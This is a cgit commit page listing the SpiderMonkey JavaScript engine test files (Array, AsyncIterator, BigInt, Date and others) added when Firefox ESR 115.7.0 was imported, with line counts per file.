summaryrefslogtreecommitdiffstats
path: root/js/src/tests/non262
diff options
context:
space:
mode:
authorDaniel Baumann <daniel.baumann@progress-linux.org>2024-04-07 19:33:14 +0000
committerDaniel Baumann <daniel.baumann@progress-linux.org>2024-04-07 19:33:14 +0000
commit36d22d82aa202bb199967e9512281e9a53db42c9 (patch)
tree105e8c98ddea1c1e4784a60a5a6410fa416be2de /js/src/tests/non262
parentInitial commit. (diff)
downloadfirefox-esr-36d22d82aa202bb199967e9512281e9a53db42c9.tar.xz
firefox-esr-36d22d82aa202bb199967e9512281e9a53db42c9.zip
Adding upstream version 115.7.0esr.upstream/115.7.0esr
Signed-off-by: Daniel Baumann <daniel.baumann@progress-linux.org>
Diffstat (limited to 'js/src/tests/non262')
-rw-r--r--js/src/tests/non262/Array/11.1.4.js68
-rw-r--r--js/src/tests/non262/Array/15.4.4.5-1.js187
-rw-r--r--js/src/tests/non262/Array/15.4.4.5-2.js189
-rw-r--r--js/src/tests/non262/Array/15.4.4.5-3.js145
-rw-r--r--js/src/tests/non262/Array/array-001.js85
-rw-r--r--js/src/tests/non262/Array/array-length-set-during-for-in.js10
-rw-r--r--js/src/tests/non262/Array/array-length-set-on-nonarray.js26
-rw-r--r--js/src/tests/non262/Array/at.js39
-rw-r--r--js/src/tests/non262/Array/browser.js0
-rw-r--r--js/src/tests/non262/Array/change-array-by-copy-cross-compartment-create.js26
-rw-r--r--js/src/tests/non262/Array/change-array-by-copy-errors-from-correct-realm.js77
-rw-r--r--js/src/tests/non262/Array/concat-proxy.js25
-rw-r--r--js/src/tests/non262/Array/concat-spreadable-basic.js37
-rw-r--r--js/src/tests/non262/Array/concat-spreadable-primitive.js34
-rw-r--r--js/src/tests/non262/Array/fill.js97
-rw-r--r--js/src/tests/non262/Array/filter.js53
-rw-r--r--js/src/tests/non262/Array/findLast_findLastIndex.js285
-rw-r--r--js/src/tests/non262/Array/find_findindex.js285
-rw-r--r--js/src/tests/non262/Array/for_of_1.js138
-rw-r--r--js/src/tests/non262/Array/for_of_2.js58
-rw-r--r--js/src/tests/non262/Array/for_of_3.js60
-rw-r--r--js/src/tests/non262/Array/for_of_4.js64
-rw-r--r--js/src/tests/non262/Array/from-iterator-close.js183
-rw-r--r--js/src/tests/non262/Array/from_async.js302
-rw-r--r--js/src/tests/non262/Array/from_basics.js51
-rw-r--r--js/src/tests/non262/Array/from_constructor.js56
-rw-r--r--js/src/tests/non262/Array/from_errors.js152
-rw-r--r--js/src/tests/non262/Array/from_iterable.js50
-rw-r--r--js/src/tests/non262/Array/from_length_setter.js13
-rw-r--r--js/src/tests/non262/Array/from_mapping.js41
-rw-r--r--js/src/tests/non262/Array/from_primitive.js21
-rw-r--r--js/src/tests/non262/Array/from_proxy.js55
-rw-r--r--js/src/tests/non262/Array/from_realms.js37
-rw-r--r--js/src/tests/non262/Array/from_string.js23
-rw-r--r--js/src/tests/non262/Array/from_surfaces.js13
-rw-r--r--js/src/tests/non262/Array/from_this.js48
-rw-r--r--js/src/tests/non262/Array/frozen-dense-array.js42
-rw-r--r--js/src/tests/non262/Array/frozen-dict-mode-length.js18
-rw-r--r--js/src/tests/non262/Array/getter-name.js9
-rw-r--r--js/src/tests/non262/Array/group-callback-evaluation.js20
-rw-r--r--js/src/tests/non262/Array/group-propertkey-is-length.js17
-rw-r--r--js/src/tests/non262/Array/group.js95
-rw-r--r--js/src/tests/non262/Array/includes-trailing-holes.js16
-rw-r--r--js/src/tests/non262/Array/includes.js59
-rw-r--r--js/src/tests/non262/Array/index-with-null-character.js18
-rw-r--r--js/src/tests/non262/Array/indexOf-never-returns-negative-zero.js4
-rw-r--r--js/src/tests/non262/Array/indexOf-packed-array.js40
-rw-r--r--js/src/tests/non262/Array/isArray.js67
-rw-r--r--js/src/tests/non262/Array/iterator_edge_cases.js50
-rw-r--r--js/src/tests/non262/Array/join-01.js83
-rw-r--r--js/src/tests/non262/Array/join-no-has-trap.js36
-rw-r--r--js/src/tests/non262/Array/lastIndexOf-never-returns-negative-zero.js4
-rw-r--r--js/src/tests/non262/Array/length-01.js71
-rw-r--r--js/src/tests/non262/Array/length-nonwritable-redefine-nop.js70
-rw-r--r--js/src/tests/non262/Array/length-set-object.js68
-rw-r--r--js/src/tests/non262/Array/length-truncate-nonconfigurable-sparse.js110
-rw-r--r--js/src/tests/non262/Array/length-truncate-nonconfigurable.js48
-rw-r--r--js/src/tests/non262/Array/length-truncate-with-indexed.js101
-rw-r--r--js/src/tests/non262/Array/pop-empty-nonwritable.js32
-rw-r--r--js/src/tests/non262/Array/pop-no-has-trap.js58
-rw-r--r--js/src/tests/non262/Array/pop-nonarray-higher-elements.js91
-rw-r--r--js/src/tests/non262/Array/redefine-length-accessor.js42
-rw-r--r--js/src/tests/non262/Array/redefine-length-frozen-array.js26
-rw-r--r--js/src/tests/non262/Array/redefine-length-frozen-dictionarymode-array.js36
-rw-r--r--js/src/tests/non262/Array/redefine-nonwritable-length-custom-conversion-call-counts.js45
-rw-r--r--js/src/tests/non262/Array/redefine-nonwritable-length-custom-conversion-throw.js58
-rw-r--r--js/src/tests/non262/Array/redefine-nonwritable-length-nonnumeric.js32
-rw-r--r--js/src/tests/non262/Array/regress-101488.js135
-rw-r--r--js/src/tests/non262/Array/regress-101964.js83
-rw-r--r--js/src/tests/non262/Array/regress-107138.js174
-rw-r--r--js/src/tests/non262/Array/regress-108440.js77
-rw-r--r--js/src/tests/non262/Array/regress-130451.js182
-rw-r--r--js/src/tests/non262/Array/regress-154338.js87
-rw-r--r--js/src/tests/non262/Array/regress-157652.js117
-rw-r--r--js/src/tests/non262/Array/regress-178722.js127
-rw-r--r--js/src/tests/non262/Array/regress-255555.js32
-rw-r--r--js/src/tests/non262/Array/regress-290592.js661
-rw-r--r--js/src/tests/non262/Array/regress-299644.js27
-rw-r--r--js/src/tests/non262/Array/regress-300858.js21
-rw-r--r--js/src/tests/non262/Array/regress-304828.js256
-rw-r--r--js/src/tests/non262/Array/regress-305002.js25
-rw-r--r--js/src/tests/non262/Array/regress-310351.js54
-rw-r--r--js/src/tests/non262/Array/regress-310425-01.js27
-rw-r--r--js/src/tests/non262/Array/regress-310425-02.js17
-rw-r--r--js/src/tests/non262/Array/regress-311515.js20
-rw-r--r--js/src/tests/non262/Array/regress-315509-01.js28
-rw-r--r--js/src/tests/non262/Array/regress-322135-01.js39
-rw-r--r--js/src/tests/non262/Array/regress-322135-02.js32
-rw-r--r--js/src/tests/non262/Array/regress-322135-03.js40
-rw-r--r--js/src/tests/non262/Array/regress-322135-04.js38
-rw-r--r--js/src/tests/non262/Array/regress-330812.js33
-rw-r--r--js/src/tests/non262/Array/regress-345961.js33
-rw-r--r--js/src/tests/non262/Array/regress-348810.js25
-rw-r--r--js/src/tests/non262/Array/regress-350256-01.js42
-rw-r--r--js/src/tests/non262/Array/regress-350256-02.js43
-rw-r--r--js/src/tests/non262/Array/regress-352742-01.js36
-rw-r--r--js/src/tests/non262/Array/regress-352742-02.js29
-rw-r--r--js/src/tests/non262/Array/regress-360681-01.js30
-rw-r--r--js/src/tests/non262/Array/regress-360681-02.js55
-rw-r--r--js/src/tests/non262/Array/regress-364104.js74
-rw-r--r--js/src/tests/non262/Array/regress-386030.js64
-rw-r--r--js/src/tests/non262/Array/regress-387501.js48
-rw-r--r--js/src/tests/non262/Array/regress-390598.js37
-rw-r--r--js/src/tests/non262/Array/regress-415451.js24
-rw-r--r--js/src/tests/non262/Array/regress-421325.js31
-rw-r--r--js/src/tests/non262/Array/regress-422286.js31
-rw-r--r--js/src/tests/non262/Array/regress-424954.js27
-rw-r--r--js/src/tests/non262/Array/regress-430717.js29
-rw-r--r--js/src/tests/non262/Array/regress-451483.js28
-rw-r--r--js/src/tests/non262/Array/regress-451906.js27
-rw-r--r--js/src/tests/non262/Array/regress-456845.js48
-rw-r--r--js/src/tests/non262/Array/regress-465980-01.js32
-rw-r--r--js/src/tests/non262/Array/regress-465980-02.js167
-rw-r--r--js/src/tests/non262/Array/regress-474529.js52
-rw-r--r--js/src/tests/non262/Array/regress-488989.js32
-rw-r--r--js/src/tests/non262/Array/regress-566651.js20
-rw-r--r--js/src/tests/non262/Array/regress-599159.js10
-rw-r--r--js/src/tests/non262/Array/regress-619970.js8
-rw-r--r--js/src/tests/non262/Array/regress-94257.js83
-rw-r--r--js/src/tests/non262/Array/reverse-order-of-low-high-accesses.js88
-rw-r--r--js/src/tests/non262/Array/set-with-indexed-property-on-prototype-chain.js60
-rw-r--r--js/src/tests/non262/Array/shell.js0
-rw-r--r--js/src/tests/non262/Array/shift-no-has-trap.js64
-rw-r--r--js/src/tests/non262/Array/shift_for_in.js13
-rw-r--r--js/src/tests/non262/Array/slice-sparse-with-large-index.js18
-rw-r--r--js/src/tests/non262/Array/sort-01.js23
-rw-r--r--js/src/tests/non262/Array/sort-array-with-holes-and-undefined.js32
-rw-r--r--js/src/tests/non262/Array/sort-delete-ascending-order.js37
-rw-r--r--js/src/tests/non262/Array/sort-non-function.js22
-rw-r--r--js/src/tests/non262/Array/sort-typedarray-with-own-length.js33
-rw-r--r--js/src/tests/non262/Array/sort_basics.js46
-rw-r--r--js/src/tests/non262/Array/sort_holes.js66
-rw-r--r--js/src/tests/non262/Array/sort_native_string_nan.js16
-rw-r--r--js/src/tests/non262/Array/sort_proxy.js38
-rw-r--r--js/src/tests/non262/Array/sort_small.js33
-rw-r--r--js/src/tests/non262/Array/species.js182
-rw-r--r--js/src/tests/non262/Array/splice-return-array-elements-defined-not-set.js46
-rw-r--r--js/src/tests/non262/Array/splice-species-changes-length.js48
-rw-r--r--js/src/tests/non262/Array/splice-suppresses-unvisited-indexes.js61
-rw-r--r--js/src/tests/non262/Array/to-length.js40
-rw-r--r--js/src/tests/non262/Array/toLocaleString-01.js36
-rw-r--r--js/src/tests/non262/Array/toLocaleString-nointl.js26
-rw-r--r--js/src/tests/non262/Array/toLocaleString.js14
-rw-r--r--js/src/tests/non262/Array/toSpliced-dense.js127
-rw-r--r--js/src/tests/non262/Array/toSpliced.js27
-rw-r--r--js/src/tests/non262/Array/toString-01.js52
-rw-r--r--js/src/tests/non262/Array/unscopables.js73
-rw-r--r--js/src/tests/non262/Array/unshift-01.js44
-rw-r--r--js/src/tests/non262/Array/unshift-with-enumeration.js18
-rw-r--r--js/src/tests/non262/Array/values.js20
-rw-r--r--js/src/tests/non262/Array/with-dense.js103
-rw-r--r--js/src/tests/non262/Array/with.js17
-rw-r--r--js/src/tests/non262/ArrayBuffer/CloneArrayBuffer.js35
-rw-r--r--js/src/tests/non262/ArrayBuffer/browser.js0
-rw-r--r--js/src/tests/non262/ArrayBuffer/bug1689503.js9
-rw-r--r--js/src/tests/non262/ArrayBuffer/bug1777413.js7
-rw-r--r--js/src/tests/non262/ArrayBuffer/constructorNotCallable.js8
-rw-r--r--js/src/tests/non262/ArrayBuffer/getter-name.js10
-rw-r--r--js/src/tests/non262/ArrayBuffer/shell.js0
-rw-r--r--js/src/tests/non262/ArrayBuffer/slice-species.js180
-rw-r--r--js/src/tests/non262/AsyncGenerators/async-generator-declaration-in-modules.js11
-rw-r--r--js/src/tests/non262/AsyncGenerators/browser.js0
-rw-r--r--js/src/tests/non262/AsyncGenerators/create-function-parse-before-getprototype.js19
-rw-r--r--js/src/tests/non262/AsyncGenerators/cross-compartment.js90
-rw-r--r--js/src/tests/non262/AsyncGenerators/for-await-bad-syntax.js24
-rw-r--r--js/src/tests/non262/AsyncGenerators/for-await-of-error.js26
-rw-r--r--js/src/tests/non262/AsyncGenerators/shell.js0
-rw-r--r--js/src/tests/non262/AsyncIterator/asynciterator.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/constructor-subclassable.js12
-rw-r--r--js/src/tests/non262/AsyncIterator/constructor-throw-when-called-directly.js9
-rw-r--r--js/src/tests/non262/AsyncIterator/constructor-throw-without-new.js9
-rw-r--r--js/src/tests/non262/AsyncIterator/constructor.js9
-rw-r--r--js/src/tests/non262/AsyncIterator/length.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/name.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/proto.js14
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/asIndexedPairs.js25
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/length.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/name.js20
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/async-iterator-helpers-from-other-global.js65
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/clobber-symbol.js50
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/drop/drop-more-than-available.js39
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/drop/drop.js23
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/drop/length.js20
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/drop/name.js20
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/async-writes.js20
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/check-fn-after-getting-iterator.js30
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/coerce-result-to-boolean.js29
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/descriptor.js10
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/error-from-correct-realm.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/fn-not-callable-throws.js26
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/fn-throws-close-iterator.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/interleaving-calls.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/length.js17
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/name.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/next-throws-iterator-not-closed.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/proxy.js46
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/return-true-if-all-match.js16
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/short-circuit-on-false.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/this-not-iterator-throws.js22
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/value-throws-iterator-not-closed.js28
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/filter/coerce-result-to-boolean.js25
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/filter/filter.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/filter/length.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/filter/name.js19
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/async-writes.js20
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/check-fn-after-getting-iterator.js28
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/coerce-result-to-boolean.js35
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/descriptor.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/error-from-correct-realm.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/fn-not-callable-throws.js26
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/fn-throws-close-iterator.js26
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/interleaving-calls.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/length.js17
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/name.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/next-throws-iterator-not-closed.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/proxy.js46
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/return-undefined-if-none-match.js16
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/short-circuit-on-match.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/this-not-iterator-throws.js20
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/value-throws-iterator-not-closed.js28
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-complete-throws.js55
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-next-throws.js50
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-value-throws.js57
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/flatMap/flatMap.js28
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/flatMap/inner-empty-iterable.js44
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/flatMap/inner-generator.js36
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/flatMap/length.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/flatMap/name.js19
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/flatMap/throw-when-inner-not-iterable.js71
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/async-writes.js20
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/check-fn-after-getting-iterator.js27
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/descriptor.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/error-from-correct-realm.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/fn-not-callable-throws.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/fn-throws-close-iterator.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/forEach.js11
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/interleaving-calls.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/length.js17
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/name.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/next-throws-iterator-not-closed.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/proxy.js44
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/this-not-iterator-throws.js19
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/value-throws-iterator-not-closed.js28
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/generator-methods-throw-on-iterator-helpers.js35
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/iterator-helper-methods-throw-on-generators.js12
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-from-other-global.js36
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-handle-empty-iterators.js42
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-interleaved.js59
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-closed-on-call-throws.js49
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-closed-on-yield-throws.js53
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-get-then-throws.js57
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-promise-executor-throws.js53
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-returns-reject.js51
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-then-throws.js57
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-throws.js49
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-value-throws.js54
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-returns-done-generator-finishes.js30
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-multiple-return-close-iterator-once.js64
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-multiple-throw-close-iterator-once.js90
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-mutate-iterator-after-done.js49
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-mutate-iterator.js49
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-not-close-iterator-next-reject.js48
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-pass-through-lastValue.js33
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-pass-value-through-chain.js38
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-proxy-accesses.js68
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-return-closes-iterator.js63
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-return-new-iterator-result.js42
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-closes-iterator-before-next.js58
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-next-non-callable.js35
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-non-callable.js40
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-non-iterator.js31
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-next-done-throws.js53
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-next-not-object.js50
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-on-reentry.js18
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/map/length.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/map/map.js23
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/map/name.js19
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/accumulator-set-to-initial-value.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/async-writes.js20
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/check-fn-after-getting-iterator.js27
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/descriptor.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/empty-iterator-without-initial-value-throws.js9
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/error-from-correct-realm.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/interleaving-calls.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/iterator-empty-return-initial-value.js9
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/iterator-next-return-non-object-throws.js31
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/left-associative.js15
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/length.js17
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/name.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/next-throws-iterator-not-closed.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/no-initial-value-set-accumulator-to-first-value.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/proxy.js44
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/reduce.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/reducer-not-callable-throws.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/reducer-throws-iterator-closed.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/this-not-iterator-throws.js19
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/value-throws-iterator-not-closed.js28
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/async-writes.js20
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/check-fn-after-getting-iterator.js31
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/coerce-result-to-boolean.js29
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/descriptor.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/error-from-correct-realm.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/fn-not-callable-throws.js28
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/fn-throws-close-iterator.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/interleaving-calls.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/length.js17
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/name.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/next-throws-iterator-not-closed.js23
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/proxy.js46
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/return-false-if-none-match.js16
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/short-circuit-on-true.js20
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/this-not-iterator-throws.js19
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/value-throws-iterator-not-closed.js28
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/take-drop-throw-eagerly-on-negative.js30
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/take-drop-throw-eagerly-on-non-integer.js33
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/take/close-iterator-when-none-remaining.js45
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/take/length.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/take/name.js19
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/take/take-more-than-available.js34
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/take/take.js23
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/async-writes.js20
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/create-in-current-realm.js22
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/descriptor.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/interleaving-calls.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/iterator-empty.js10
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/length.js17
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/name.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/next-throws.js23
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/proxy.js44
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/this-not-iterator-throws.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/toArray.js22
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/value-throws-iterator-not-closed.js33
-rw-r--r--js/src/tests/non262/Atomics/browser.js0
-rw-r--r--js/src/tests/non262/Atomics/cross-compartment.js109
-rw-r--r--js/src/tests/non262/Atomics/detached-buffers.js94
-rw-r--r--js/src/tests/non262/Atomics/shell.js0
-rw-r--r--js/src/tests/non262/BigInt/Number-conversion-rounding.js244
-rw-r--r--js/src/tests/non262/BigInt/decimal.js30
-rw-r--r--js/src/tests/non262/BigInt/large-bit-length.js33
-rw-r--r--js/src/tests/non262/BigInt/mod.js8
-rw-r--r--js/src/tests/non262/BigInt/property-name-guessed-name.js21
-rw-r--r--js/src/tests/non262/BigInt/property-name.js194
-rw-r--r--js/src/tests/non262/Boolean/15.6.4.2.js17
-rw-r--r--js/src/tests/non262/Boolean/browser.js0
-rw-r--r--js/src/tests/non262/Boolean/no-boolean-toJSON.js17
-rw-r--r--js/src/tests/non262/Boolean/shell.js0
-rw-r--r--js/src/tests/non262/DataView/browser.js0
-rw-r--r--js/src/tests/non262/DataView/detach-after-construction.js9
-rw-r--r--js/src/tests/non262/DataView/get-set-index-range.js36
-rw-r--r--js/src/tests/non262/DataView/getter-name.js11
-rw-r--r--js/src/tests/non262/DataView/shell.js0
-rw-r--r--js/src/tests/non262/Date/15.9.4.2.js134
-rw-r--r--js/src/tests/non262/Date/15.9.5.5-02.js63
-rw-r--r--js/src/tests/non262/Date/15.9.5.5.js111
-rw-r--r--js/src/tests/non262/Date/15.9.5.6.js118
-rw-r--r--js/src/tests/non262/Date/15.9.5.7.js111
-rw-r--r--js/src/tests/non262/Date/UTC-convert-all-arguments.js70
-rw-r--r--js/src/tests/non262/Date/browser.js12
-rw-r--r--js/src/tests/non262/Date/constructor-convert-all-arguments.js70
-rw-r--r--js/src/tests/non262/Date/constructor-one-Date-argument.js40
-rw-r--r--js/src/tests/non262/Date/constructor-one-argument.js26
-rw-r--r--js/src/tests/non262/Date/dashed-date.js118
-rw-r--r--js/src/tests/non262/Date/defaultvalue.js190
-rw-r--r--js/src/tests/non262/Date/dst-offset-caching-1-of-8.js6
-rw-r--r--js/src/tests/non262/Date/dst-offset-caching-2-of-8.js6
-rw-r--r--js/src/tests/non262/Date/dst-offset-caching-3-of-8.js6
-rw-r--r--js/src/tests/non262/Date/dst-offset-caching-4-of-8.js6
-rw-r--r--js/src/tests/non262/Date/dst-offset-caching-5-of-8.js6
-rw-r--r--js/src/tests/non262/Date/dst-offset-caching-6-of-8.js6
-rw-r--r--js/src/tests/non262/Date/dst-offset-caching-7-of-8.js6
-rw-r--r--js/src/tests/non262/Date/dst-offset-caching-8-of-8.js6
-rw-r--r--js/src/tests/non262/Date/equality-to-boolean.js39
-rw-r--r--js/src/tests/non262/Date/fractions.js24
-rw-r--r--js/src/tests/non262/Date/non-iso.js81
-rw-r--r--js/src/tests/non262/Date/parse-from-tostring-methods.js31
-rw-r--r--js/src/tests/non262/Date/parse-time-zone.js10
-rw-r--r--js/src/tests/non262/Date/prototype-is-not-a-date.js15
-rw-r--r--js/src/tests/non262/Date/regress-188211.js27
-rw-r--r--js/src/tests/non262/Date/regress-301738-01.js97
-rw-r--r--js/src/tests/non262/Date/regress-309925-01.js15
-rw-r--r--js/src/tests/non262/Date/regress-309925-02.js15
